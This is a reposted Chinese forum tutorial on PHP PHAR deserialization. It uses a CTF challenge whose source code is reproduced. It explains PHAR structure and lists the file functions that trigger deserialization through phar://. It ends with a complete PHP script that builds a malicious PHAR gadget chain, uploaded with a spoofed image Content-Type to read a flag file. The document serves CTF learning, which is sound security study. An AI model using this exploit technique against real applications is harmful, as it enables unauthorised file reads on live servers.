翼度科技»论坛 编程开发 PHP 查看内容

PHP开发技巧之PHAR反序列化详解

6

主题

6

帖子

18

积分

新手上路

Rank: 1

积分
18
引文

之前将PHP反序列化的基础知识讲了一遍,不知道大家学习的怎么样了,今天给大家带来PHP反序列化的进阶知识:PHAR反序列化,也是之前本人在CTF比赛中经常遇到的一种php反序列化的进阶使用吧,下面先给大家讲一讲PHAR反序列化的前置知识。

前置知识



PHAR

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容,这里就是我们反序列化漏洞的利用点。
接下来带大家看一下如何构造phar文件:
PHAR状态是只读的,创建一个的Phar文件需要允许写入Phar文件,这需要修改一下:
  1. php.ini:phar.readonly = Off;  #php版本要大于等于5.2
复制代码
其中php.ini为php的配置文件。

PHAR文件结构

上面简单介绍了phar的基本定义,接下来我们学习一下PHAR文件的基本结构:
A stub
phar文件的标志,具体代码为:
  1. xxx<?php xxx; __HALT_COMPILER();?>
复制代码
注意的是phar文件始终要以__HALT_COMPILER();?>来进行结尾才能被识别为PHAR文件。
A manifest describing the contents
以序列化的形式存储用户自定义的meta-data,也是我们利用反序列化漏洞的点。
The file contents
压缩的文件内容。
signature
签名信息,放在文件末尾。

PHAR文件生成样例

了解了以上信息,我们就可以尝试来构建一个PHAR文件的生成,样例代码如下:
  1. <?php
  2.         class User{
  3.         var $name;
  4.         }
  5.         @unlink("XINO.phar");
  6.     $phar = new Phar("XINO.phar");
  7.     $phar->startBuffering();
  8.     $phar->setStub("<?php __HALT_COMPILER(); ?>");
  9.     $o = new User();
  10.     $o->name = "XINO";
  11.     $phar->setMetadata($o);
  12.     $phar->addFromString("test.txt", "test");
  13.     $phar->stopBuffering();
  14. ?>
复制代码
运行之后结果如下:

成功生成了名为XINO.phar的phar类型文件,我们放进010editor查看:

看到 meta-data 序列化的内容成功的保存到了文件中。我们再用phar协议去读取就好了。这里需要注意的一点是:一些文件函数 通过 phar:// 伪协议解析phar文件时都会将meta-data反序列化,例如:
  1. fileatime    filectime        filemtime    file_exists    file_get_contents    file_put_contents
  2. file         filegroup        fopen        fileinode      fileowner            fileperms
  3. is_dir       is_file          is_link      is_executable  is_readable          is_writeable
  4. is_wirtble   parse_ini_file   copy         unlink         stat                 readfile        info_file   
复制代码
实战

学完上面的内容后,我们便可以尝试一下实战了,先看看利用条件:
phar文件要能够上传到服务器端
要有可用的魔术方法作为"跳板"
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
下面我们来看一个例题:

进去是一个登陆界面,我们注册登陆进去,发现了一个文件上传的点。要求得文件类型只能是gif/jpg/png的类型,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。抓包后会发现POST传参download处存在任意文件下载:

下载源码:index.php,delete.php,download.php,class.php
class.php:
  1. <?php
  2. error_reporting(0);
  3. $dbaddr = "127.0.0.1";
  4. $dbuser = "root";
  5. $dbpass = "root";
  6. $dbname = "dropbox";
  7. $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
  8. class User {
  9.     public $db;
  10.     public function __construct() {
  11.         global $db;
  12.         $this->db = $db;
  13.     }
  14.     public function user_exist($username) {
  15.         $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
  16.         $stmt->bind_param("s", $username);
  17.         $stmt->execute();
  18.         $stmt->store_result();
  19.         $count = $stmt->num_rows;
  20.         if ($count === 0) {
  21.             return false;
  22.         }
  23.         return true;
  24.     }
  25.     public function add_user($username, $password) {
  26.         if ($this->user_exist($username)) {
  27.             return false;
  28.         }
  29.         $password = sha1($password . "SiAchGHmFx");
  30.         $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
  31.         $stmt->bind_param("ss", $username, $password);
  32.         $stmt->execute();
  33.         return true;
  34.     }
  35.     public function verify_user($username, $password) {
  36.         if (!$this->user_exist($username)) {
  37.             return false;
  38.         }
  39.         $password = sha1($password . "SiAchGHmFx");
  40.         $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
  41.         $stmt->bind_param("s", $username);
  42.         $stmt->execute();
  43.         $stmt->bind_result($expect);
  44.         $stmt->fetch();
  45.         if (isset($expect) && $expect === $password) {
  46.             return true;
  47.         }
  48.         return false;
  49.     }
  50.     public function __destruct() {
  51.         $this->db->close();
  52.     }
  53. }
  54. class FileList {
  55.     private $files;
  56.     private $results;
  57.     private $funcs;
  58.     public function __construct($path) {
  59.         $this->files = array();
  60.         $this->results = array();
  61.         $this->funcs = array();
  62.         $filenames = scandir($path);
  63.         $key = array_search(".", $filenames);
  64.         unset($filenames[$key]);
  65.         $key = array_search("..", $filenames);
  66.         unset($filenames[$key]);
  67.         foreach ($filenames as $filename) {
  68.             $file = new File();
  69.             $file->open($path . $filename);
  70.             array_push($this->files, $file);
  71.             $this->results[$file->name()] = array();
  72.         }
  73.     }
  74.     public function __call($func, $args) {
  75.         array_push($this->funcs, $func);
  76.         foreach ($this->files as $file) {
  77.             $this->results[$file->name()][$func] = $file->$func();
  78.         }
  79.     }
  80.     public function __destruct() {
  81.         $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
  82.         $table .= '<thead><tr>';
  83.         foreach ($this->funcs as $func) {
  84.             $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
  85.         }
  86.         $table .= '<th scope="col" class="text-center">Opt</th>';
  87.         $table .= '</thead><tbody>';
  88.         foreach ($this->results as $filename => $result) {
  89.             $table .= '<tr>';
  90.             foreach ($result as $func => $value) {
  91.                 $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
  92.             }
  93.             $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" rel="external nofollow"  rel="external nofollow"  class="download">下载</a> / <a href="#" rel="external nofollow"  rel="external nofollow"  class="delete">删除</a></td>';
  94.             $table .= '</tr>';
  95.         }
  96.         echo $table;
  97.     }
  98. }
  99. class File {
  100.     public $filename;
  101.     public function open($filename) {
  102.         $this->filename = $filename;
  103.         if (file_exists($filename) && !is_dir($filename)) {
  104.             return true;
  105.         } else {
  106.             return false;
  107.         }
  108.     }
  109.     public function name() {
  110.         return basename($this->filename);
  111.     }
  112.     public function size() {
  113.         $size = filesize($this->filename);
  114.         $units = array(' B', ' KB', ' MB', ' GB', ' TB');
  115.         for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
  116.         return round($size, 2).$units[$i];
  117.     }
  118.     public function detele() {
  119.         unlink($this->filename);
  120.     }
  121.     public function close() {
  122.         return file_get_contents($this->filename);
  123.     }
  124. }
  125. ?>
复制代码
delete.php
  1. <?php
  2. #delete.php
  3. session_start();
  4. if (!isset($_SESSION['login'])) {
  5.     header("Location: login.php");
  6.     die();
  7. }
  8. if (!isset($_POST['filename'])) {
  9.     die();
  10. }
  11. include "class.php";
  12. chdir($_SESSION['sandbox']);
  13. $file = new File();
  14. $filename = (string) $_POST['filename'];
  15. if (strlen($filename) < 40 && $file->open($filename)) {
  16.     $file->detele();
  17.     Header("Content-type: application/json");
  18.     $response = array("success" => true, "error" => "");
  19.     echo json_encode($response);
  20. } else {
  21.     Header("Content-type: application/json");
  22.     $response = array("success" => false, "error" => "File not exist");
  23.     echo json_encode($response);
  24. }
  25. ?>
复制代码
简单分析一下:
创建一个user的对象,而且db变量是一个FileList对象,文件名为flag的路径。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法(不理解的可以去看之前的文章),于是执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来(
  1. $this->filename=flag文件
复制代码
)。
于是我们尝试写一个生成PHAR文件的脚本:
  1. <?php
  2. class User {
  3.     public $db;
  4. }
  5. class File {
  6.     public $filename;
  7. }
  8. class FileList {
  9.     private $files;
  10.     public function __construct() {
  11.         $file = new File();
  12.         $file->filename = "/flag.txt";
  13.         $this->files = array($file);
  14.     }
  15. }
  16. $a = new User();
  17. $a->db = new FileList();
  18. $phar = new Phar("XINO.phar"); //后缀名必须为phar
  19. $phar->startBuffering();
  20. $phar->addFromString("exp.txt", "test"); //添加要压缩的文件
  21. $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
  22. $phar->setMetadata($a); //将自定义的meta-data存入manifest
  23. //签名自动计算
  24. $phar->stopBuffering();
  25. ?>
复制代码
生成文件后将PHAR文件改文件类型然后上传,之后用PHAR协议去读取就可以得到flag。


结语

今天比较详细的讲了PHAR反序列化漏洞的原理以及应用方法,可能刚开始学不太好理解,可以根据之前PHP反序列化的思路去理解一下。有兴趣的小伙伴可以自己去搭建靶机来进行测试,喜欢的小伙伴不妨一键三连。
以上就是PHP开发技巧之PHAR反序列化详解的详细内容,更多关于PHP开发PHAR反序列化的资料请关注脚本之家其它相关文章!

来源:https://www.jb51.net/article/264624.htm
免责声明:由于采集信息均来自互联网,如果侵犯了您的权益,请联系我们【E-Mail:cb@itdo.tech】 我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x

举报 回复 使用道具